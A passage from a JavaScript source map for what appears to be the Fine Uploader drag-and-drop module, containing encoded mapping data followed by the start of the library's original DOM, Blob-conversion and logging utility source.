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","file":"dnd.js","sourcesContent":[null,"/*globals window, navigator, document, FormData, File, HTMLInputElement, XMLHttpRequest, Blob, Storage, ActiveXObject */\n/* jshint -W079 */\nvar qq = function(element) {\n    \"use strict\";\n\n    return {\n        hide: function() {\n            element.style.display = \"none\";\n            return this;\n        },\n\n        /** Returns the function which detaches attached event */\n        attach: function(type, fn) {\n            if (element.addEventListener) {\n                element.addEventListener(type, fn, false);\n            } else if (element.attachEvent) {\n                element.attachEvent(\"on\" + type, fn);\n            }\n            return function() {\n                qq(element).detach(type, fn);\n            };\n        },\n\n        detach: function(type, fn) {\n            if (element.removeEventListener) {\n                element.removeEventListener(type, fn, false);\n            } else if (element.attachEvent) {\n                element.detachEvent(\"on\" + type, fn);\n            }\n            return this;\n        },\n\n        contains: function(descendant) {\n            // The [W3C spec](http://www.w3.org/TR/domcore/#dom-node-contains)\n            // says a `null` (or ostensibly `undefined`) parameter\n            // passed into `Node.contains` should result in a false return value.\n            // IE7 throws an exception if the parameter is `undefined` though.\n            if (!descendant) {\n                return false;\n            }\n\n            // compareposition returns false in this case\n            if (element === descendant) {\n                return true;\n            }\n\n            if (element.contains) {\n                return element.contains(descendant);\n            } else {\n                /*jslint bitwise: true*/\n                return !!(descendant.compareDocumentPosition(element) & 8);\n            }\n        },\n\n        /**\n         * Insert this element before elementB.\n         */\n        insertBefore: function(elementB) {\n            elementB.parentNode.insertBefore(element, elementB);\n            return this;\n        },\n\n        remove: function() {\n            element.parentNode.removeChild(element);\n            return this;\n        },\n\n        /**\n         * Sets styles for an element.\n         * Fixes opacity in IE6-8.\n         */\n        css: function(styles) {\n            /*jshint eqnull: true*/\n            if (element.style == null) {\n                throw new qq.Error(\"Can't apply style to node as it is not on the HTMLElement prototype chain!\");\n            }\n\n            /*jshint -W116*/\n            if (styles.opacity != null) {\n                if (typeof element.style.opacity !== \"string\" && typeof (element.filters) !== \"undefined\") {\n                    styles.filter = \"alpha(opacity=\" + Math.round(100 * styles.opacity) + \")\";\n                }\n            }\n            qq.extend(element.style, styles);\n\n            return this;\n        },\n\n        hasClass: function(name, considerParent) {\n            var re = new RegExp(\"(^| )\" + name + \"( |$)\");\n            return re.test(element.className) || !!(considerParent && re.test(element.parentNode.className));\n        },\n\n        addClass: function(name) {\n            if (!qq(element).hasClass(name)) {\n                element.className += \" \" + name;\n            }\n            return this;\n        },\n\n        removeClass: function(name) {\n            var re = new RegExp(\"(^| )\" + name + \"( |$)\");\n            element.className = element.className.replace(re, \" \").replace(/^\\s+|\\s+$/g, \"\");\n            return this;\n        },\n\n        getByClass: function(className, first) {\n            var candidates,\n                result = [];\n\n            if (first && element.querySelector) {\n                return element.querySelector(\".\" + className);\n            }\n            else if (element.querySelectorAll) {\n                return element.querySelectorAll(\".\" + className);\n            }\n\n            candidates = element.getElementsByTagName(\"*\");\n\n            qq.each(candidates, function(idx, val) {\n                if (qq(val).hasClass(className)) {\n                    result.push(val);\n                }\n            });\n            return first ? result[0] : result;\n        },\n\n        getFirstByClass: function(className) {\n            return qq(element).getByClass(className, true);\n        },\n\n        children: function() {\n            var children = [],\n                child = element.firstChild;\n\n            while (child) {\n                if (child.nodeType === 1) {\n                    children.push(child);\n                }\n                child = child.nextSibling;\n            }\n\n            return children;\n        },\n\n        setText: function(text) {\n            element.innerText = text;\n            element.textContent = text;\n            return this;\n        },\n\n        clearText: function() {\n            return qq(element).setText(\"\");\n        },\n\n        // Returns true if the attribute exists on the element\n        // AND the value of the attribute is NOT \"false\" (case-insensitive)\n        hasAttribute: function(attrName) {\n            var attrVal;\n\n            if (element.hasAttribute) {\n\n                if (!element.hasAttribute(attrName)) {\n                    return false;\n                }\n\n                /*jshint -W116*/\n                return (/^false$/i).exec(element.getAttribute(attrName)) == null;\n            }\n            else {\n                attrVal = element[attrName];\n\n                if (attrVal === undefined) {\n                    return false;\n                }\n\n                /*jshint -W116*/\n                return (/^false$/i).exec(attrVal) == null;\n            }\n        }\n    };\n};\n\n(function() {\n    \"use strict\";\n\n    qq.canvasToBlob = function(canvas, mime, quality) {\n        return qq.dataUriToBlob(canvas.toDataURL(mime, quality));\n    };\n\n    qq.dataUriToBlob = function(dataUri) {\n        var arrayBuffer, byteString,\n            createBlob = function(data, mime) {\n                var BlobBuilder = window.BlobBuilder ||\n                        window.WebKitBlobBuilder ||\n                        window.MozBlobBuilder ||\n                        window.MSBlobBuilder,\n                    blobBuilder = BlobBuilder && new BlobBuilder();\n\n                if (blobBuilder) {\n                    blobBuilder.append(data);\n                    return blobBuilder.getBlob(mime);\n                }\n                else {\n                    return new Blob([data], {type: mime});\n                }\n            },\n            intArray, mimeString;\n\n        // convert base64 to raw binary data held in a string\n        if (dataUri.split(\",\")[0].indexOf(\"base64\") >= 0) {\n            byteString = atob(dataUri.split(\",\")[1]);\n        }\n        else {\n            byteString = decodeURI(dataUri.split(\",\")[1]);\n        }\n\n        // extract the MIME\n        mimeString = dataUri.split(\",\")[0]\n            .split(\":\")[1]\n            .split(\";\")[0];\n\n        // write the bytes of the binary string to an ArrayBuffer\n        arrayBuffer = new ArrayBuffer(byteString.length);\n        intArray = new Uint8Array(arrayBuffer);\n        qq.each(byteString, function(idx, character) {\n            intArray[idx] = character.charCodeAt(0);\n        });\n\n        return createBlob(arrayBuffer, mimeString);\n    };\n\n    qq.log = function(message, level) {\n        if (window.console) {\n            if (!level || level === \"info\") {\n                window.console.log(message);\n            }\n            else\n            {\n                if (window.console[level]) {\n                    window.console[level](message);\n                }\n                else {\n                    window.console.log(\"<\" + level + \"> \" + message);\n                }\n            }\n        }\n    };\n\n    qq.isObject = function(variable) {\n        return variable && !variable.nodeType && Object.prototype.toString.call(variable) === \"[object Object]\";\n    };\n\n    qq.isFunction = function(variable) {\n        return typeof (variable) === \"function\";\n    };\n\n    /**\n     * Check the type of a value.  Is it an \"array\"?\n     *\n     * @param value value to test.\n     * @returns true if the value is an array or associated with an `ArrayBuffer`\n     */\n    qq.isArray = function(value) {\n        return Object.prototype.toString.call(value) === \"[object Array]\" ||\n            (value && window.ArrayBuffer && value.buffer && value.buffer.constructor === ArrayBuffer);\n    };\n\n    // Looks for an object on a `DataTransfer` object that is associated with drop events when utilizing the Filesystem API.\n    qq.isItemList = function(maybeItemList) {\n        return Object.prototype.toString.call(maybeItemList) === \"[object DataTransferItemList]\";\n    };\n\n    // Looks for an object on a `NodeList` or an `HTMLCollection`|`HTMLFormElement`|`HTMLSelectElement`\n    // object that is associated with collections of Nodes.\n    qq.isNodeList = function(maybeNodeList) {\n        return Object.prototype.toString.call(maybeNodeList) === \"[object NodeList]\" ||\n            // If `HTMLCollection` is the actual type of the object, we must determine this\n            // by checking for expected properties/methods on the object\n            (maybeNodeList.item && maybeNodeList.namedItem);\n    };\n\n    qq.isString = function(maybeString) {\n        return Object.prototype.toString.call(maybeString) === \"[object String]\";\n    };\n\n    qq.trimStr = function(string) {\n        if (String.prototype.trim) {\n            return string.trim();\n        }\n\n        return string.replace(/^\\s+|\\s+$/g, \"\");\n    };\n\n    /**\n     * @param str String to format.\n     * @returns {string} A string, swapping argument values with the associated occurrence of {} in the passed string.\n     */\n  